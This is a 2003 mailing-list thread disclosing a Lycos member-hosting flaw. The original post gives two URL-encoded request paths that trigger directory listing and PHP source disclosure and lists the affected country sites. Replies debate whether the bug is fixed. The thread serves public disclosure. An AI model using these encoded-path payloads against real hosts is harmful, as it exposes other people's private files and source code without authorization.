obliged to make the pressure on LYCOS and disclosure this f**k** vuln, so they finally fix ? not sure
--> directory listening still works for the /Member_Name/
[EMAIL PROTECTED] wrote:
Worked a few minutes ago, fixed now. Produces 404 only now.
Elv1S <[EMAIL PROTECTED]> wrote:Title : LYCOS WorldWide Members' Accounts Source Pages Disclosure & Directory Listening
Date : 04/06/2003
Found : By ElviS (The King)
Greetz to : www.k-otik.com <- ur so sexy - CaSsD�Di ;-)
This vulnerability was PRIVATE and now Public, Very simple to exploit this vuln :
membres.lycos.fr/Member_Name/Directory/%3f/%3f/ (Directory Listening)
membres.lycos.fr/Member_Name/Directory/file.php%3f/%3f.jsp (Source Disclosure)
Vulnerable : Lycos FRANCE - United Kingdom - Spain - Italy - Nederland - Germany ...membres.lycos.fr
members.lycos.co.uk
usuarios.lycos.es
utenti.lycos.it
members.lycos.nl
mitglied.lycos.de
[...]
Are we Secure ?
Do you Yahoo!?
Yahoo! SiteBuilder - Free, easy-to-use web site design software
Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en fran�ais !
Testez le nouveau Yahoo! Mail
